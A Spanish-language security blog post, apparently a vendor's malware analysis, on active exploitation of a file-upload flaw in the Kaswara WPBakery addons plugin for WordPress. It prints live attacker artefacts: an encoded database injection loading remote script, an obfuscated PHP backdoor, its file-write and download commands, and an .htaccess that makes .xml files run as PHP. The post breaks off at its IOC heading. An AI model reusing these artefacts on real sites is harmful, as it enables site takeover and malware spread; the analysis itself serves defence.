Se está explotando activamente una vulnerabilidad del plugin Kaswara Modern WPBakery Page Builder Addons

El 20 de abril de 2021, nuestros amigos de WPScan reportaron una vulnerabilidad grave en Kaswara Modern VC Addons, también conocido como Kaswara Modern WPBakery Page Builder Addons. Ya no está disponible en Codecanyon/Envato, lo que significa que, si lo tienes en funcionamiento, debes elegir una alternativa.

Esta vulnerabilidad permite a usuarios no autenticados subir archivos arbitrarios al directorio de iconos del plugin (./wp-content/uploads/kaswara/icons). Este es el primer indicador de compromiso (IOC) que nuestros amigos de WPScan compartieron con nosotros en su informe.

La posibilidad de subir archivos arbitrarios a un sitio web proporciona al atacante el control total del sitio, lo que dificulta definir la carga útil final de esta infección; por eso, te mostraremos todo lo que hemos encontrado hasta ahora (nos hemos dejado llevar un poco por la investigación, así que puedes saltar a la sección de IOC si no quieres leerlo todo).

Inyección en la base de datos, aplicaciones Android falsas y otras puertas traseras

Gracias a nuestro amigo Denis Sinegubko, de Sucuri, por señalarnos la posterior inyección en la base de datos utilizada en este ataque.

Los atacantes actualizaban la opción «kaswara-customJS» para añadir un fragmento malicioso arbitrario de código JavaScript. Este es un ejemplo que encontramos:

INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');

Esta cadena codificada en base64 se traduce como:

var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);

Y, como suele ocurrir con este tipo de script, cargará en cadena una serie de fragmentos de código JavaScript adicionales, y la carga útil final será publicidad maliciosa o un kit de exploits. Esto es muy similar a lo que Wordfence informó aquí.

En este caso, el script se detiene en hxxp://double-clickd[.]com/ y no carga ningún contenido malicioso. Encontré código JavaScript sospechoso que llamaba a este sitio desde principios de 2020, y la gente ya lo bloqueaba desde 2018.

Aplicaciones falsas subidas al sitio

Las 40 aplicaciones Android encontradas en los sitios web que examinamos eran versiones falsas de distintas aplicaciones, como AliPay, PayPal, Correos, DHL y muchas otras, que, por suerte, estaban siendo detectadas por los proveedores de antivirus más populares, según este análisis de VirusTotal.

No comprobé las intenciones de la aplicación, pero una revisión rápida de los permisos que solicita puede darnos una idea de lo que podría hacer:

• android.permission.WRITE_SMS
• android.permission.RECEIVE_SMS
• android.permission.FOREGROUND_SERVICE
• android.permission.KILL_BACKGROUND_PROCESSES
• android.permission.READ_CONTACTS
• android.permission.READ_PHONE_STATE
• android.permission.READ_SMS
• android.permission.ACCESS_NETWORK_STATE
• android.permission.QUERY_ALL_PACKAGES
• android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
• android.permission.INTERNET
• android.permission.SEND_SMS
• android.permission.CALL_PHONE
• android.permission.WAKE_LOCK
• android.permission.REQUEST_DELETE_PACKAGES

Sin embargo, esos archivos no se suben inmediatamente mediante el exploit de Kaswara. Una vez comprometido el sitio, los atacantes subirán primero otras herramientas para hacerse con el control total del sitio.

Archivos subidos

También se encontraron puertas traseras y otro malware en sitios web comprometidos por esta vulnerabilidad. En esta publicación compartiré un análisis rápido de los más populares e interesantes. Sin embargo, primero quiero centrarme en el más complejo.

Redirecciones y aplicaciones falsas

Las aplicaciones falsas que encontré en varios sitios comprometidos no se subieron explotando la vulnerabilidad de Kaswara. Se están subiendo al sitio mediante una herramienta de hacking multifunción, que permite al atacante subir código remoto (proporcionando una URL o una cadena) y redirigir al usuario a un sitio malicioso.

El archivo puede identificarse fácilmente por la presencia de esta cadena: base64_decode('MTIz');error_reporting(0);function

Curiosamente, aleatoriza todo lo demás excepto esto.

El malware está en una sola línea, lo que también constituye un IOC interesante si buscas este tipo de anomalía en el código.

Para que resulte más fácil de entender, descodifiqué la mayor parte del código, cambié el nombre de las funciones interesantes y di formato al código. El malware incluye 6 funciones distintas, y 5 de ellas se basan en los valores almacenados en la $_GET['ts'] (la variable que recibe esos valores). Para este documento, consideremos uno de los muchos casos que encontré: c.php.

/c.php?ts=kt

Esto no hace nada y obligará al sitio a devolver un error 500 (más adelante en el código).

/c.php?ts=1

Cambia el valor de la marca $q1a a true para realizar una validación del código y mostrar un mensaje de OK al atacante. 

En este caso, el sitio remoto responde: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v=”Code”&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef

Escribe un archivo en el servidor con el código proporcionado por el contenido de $_GET["v"] siempre que $_GET["p"] sea la suma de comprobación SHA1 de 123 (¿recuerdas el primer IOC de base64_decode('MTIz')? Esta es esa suma de comprobación).

/c.php?ts=tt

Escribe 5 MB de «-» en el servidor, probablemente para comprobar si la función de subida funcionará en el servidor.

/c.php?ts=dwm&h=HASH1,HASH2

Cuando el malware recibe esta solicitud, realiza una prueba para verificar si los archivos subidos se han escrito correctamente en el servidor. Deben conocerse sus hashes MD5, que se envían a la variable $_GET['h'] como valores separados por comas.

/c.php?ts=dw&h=hash&l=URLs_as_CSV

Descarga un archivo de una serie de sitios web de terceros y lo guarda en el servidor, asignándole como nombre los últimos 12 caracteres del MD5 del archivo descargado.

Esta es la función que se utiliza para subir aplicaciones falsas al servidor.

Este es un ejemplo de la solicitud para descargar archivos maliciosos /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

Redirección del acceso

Si se seleccionó la opción kt o ninguna opción, el código procede a la redirección, que se consigue solicitando un bloque JSON con los datos necesarios. Después, redirige al visitante mediante la función de cabecera.

La respuesta es así: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}

Esta es la función que ejecuta una solicitud cURL con los parámetros necesarios: nada especial…

Y se puede traducir a esta solicitud cURL:

curl -X POST hxxp://papass[.]ru/click_api/v3 \
    -H 'X-Forwarded-For: 200.171.221.1' \
    -H 'Accept-Language: *' \
    -H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
    -d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'

La URL final es, por lo que pude comprobar, aleatoria, pero comparte la característica de ser una página falsa de un servicio o aplicación popular.

wp-content/uploads/kaswara/icons/16/javas.xml y wp-content/uploads/kaswara/icons/16/.htaccess

Normalmente, un archivo XML no se marca como una amenaza potencial, pero en este caso tenemos un archivo .htaccess creado específicamente que cambia la forma en que el servidor web lo interpreta:

Order Deny,Allow
Allow from all

<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
    AddHandler application/x-httpd-php .xml .pdf
    AddType application/x-httpd-php .xml .pdf
    # ---
    SetHandler application/x-httpd-php
    ForceType application/x-httpd-php
    # ---
    php_value engine 1
    # ---
    Order Deny,Allow
    Allow from all
</FilesMatch>

De hecho, indica a Apache que interprete cualquier archivo javas, homes o menus con xml, php o pdf como un archivo PHP que debe procesarse y ejecutarse en consecuencia. Por tanto, cualquiera de esos archivos que se encuentre en la misma estructura de directorios que este .htaccess será sospechoso.

El archivo javas.xml es igual que otros archivos maliciosos subidos al sitio. He descubierto que la diferencia es que algunos tienen una o dos líneas en blanco al final del archivo, lo que dificulta un poco el uso de los hashes tradicionales.

<?php
$LnWYZK 	  	="\163"."\164" 	 ."\162\137\162\157"	 	.	 	"\164"	. 		  (		 279	 	-  			266)	 	  ; 	 	 if( !empty		 	 (	$ { 	 $LnWYZK	   	
("\137"	.	"\103\102\106" 		 	.		 "\107")}	) 	 		)  			{  	 			 $nNZph 	 =$LnWYZK		 (	 		 "\172". 		"\161". 	(4334	 	
-4329	)		   	 	)			  ; $ouQLkV  	 	= $LnWYZK		 (	 	 	"\157\156"  	.  	"\146" .		 "\162"	.		  	 (	  9680	 	-	  9616)  	 . "\137" 		
. 		"\161"   		.   		"\162\160\142\161\162" 	 ) 		  ; 			  $VNfzSD  	 	=$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"	
. "\147\166\142\141" 			 ); 	  	foreach	($			  { 	 	 $LnWYZK(			  "\137".	 	"\103"  	.	  		"\102" . 			 "\106"	 	. 		"\107" 	 		
)  			}	  as	$IKRDzf   		=>	$NIvHUr	  )( 	  	$nNZph  			(	   	$IKRDzf  	)  	===	 	  		 "c"	  .  (2668 - 	  	2626	 		 )   			.   		
"\145\141"   		."\71"		   .  			"\67"	."\71\145\144"	 	.	  "\71\70\62"	.  	"\143\60" 	 . 	 	 	(314406	  -51163		 )	 	 	. "\60" 			 
.	"\145" 	 . 			 "\71" 	 .		   "\145" . "\71"	  		.	"\70"	  	 .			  "\141"	  		.	 	"\66" . 		"\66"	.	"\144"		  	.    		( 	  	9786	-		 	 
9780 		) 		  		 	&&  	$QZCMY	 		 =	 	  $VNfzSD( ""  			, 	 $ouQLkV (  	$NIvHUr)   		)  	) 		 		 	 	?$QZCMY 	 () : " 		"		  	
;  	}

El código malicioso está ofuscado mediante str_rot13 y cadenas codificadas en base64. También utiliza valores hexadecimales y operaciones matemáticas para ocultar un poco más las cadenas. Se desconoce la carga útil final, ya que creará una función basándose en los valores de una solicitud POST. Sin embargo, parece que la carga útil es siempre la misma, ya que depende de una comprobación md5 antes de crearla (c42ea979ed982c02632430e9e98a66d6 es el hash md5).

Conclusión

Como se trata de una campaña activa, en el momento de escribir esta entrada estamos encontrando cada vez más ejemplos distintos de malware que se están instalando en los sitios afectados. Algunos son simplemente variaciones de lo que hemos mostrado aquí, mientras que otros son lo bastante interesantes como para merecer un análisis más profundo. Próximamente publicaremos entradas más breves para analizar algunos de estos otros ejemplos.

Esto demuestra la importancia de mantener tus extensiones actualizadas con las últimas correcciones de seguridad. Si los desarrolladores no publican correcciones a tiempo o la extensión se elimina del repositorio de WordPress.org (o de otros mercados), te recomendamos encarecidamente que busques una alternativa más segura.

Si te preocupa el malware y las vulnerabilidades de tu sitio, consulta las funciones de seguridad de Jetpack. Jetpack Security proporciona una seguridad completa y fácil de usar para tu sitio de WordPress, con copias de seguridad, análisis de malware y protección contra el spam.

Indicadores de compromiso

Aquí encontrarás la lista completa de todos los IOC que hemos identificado: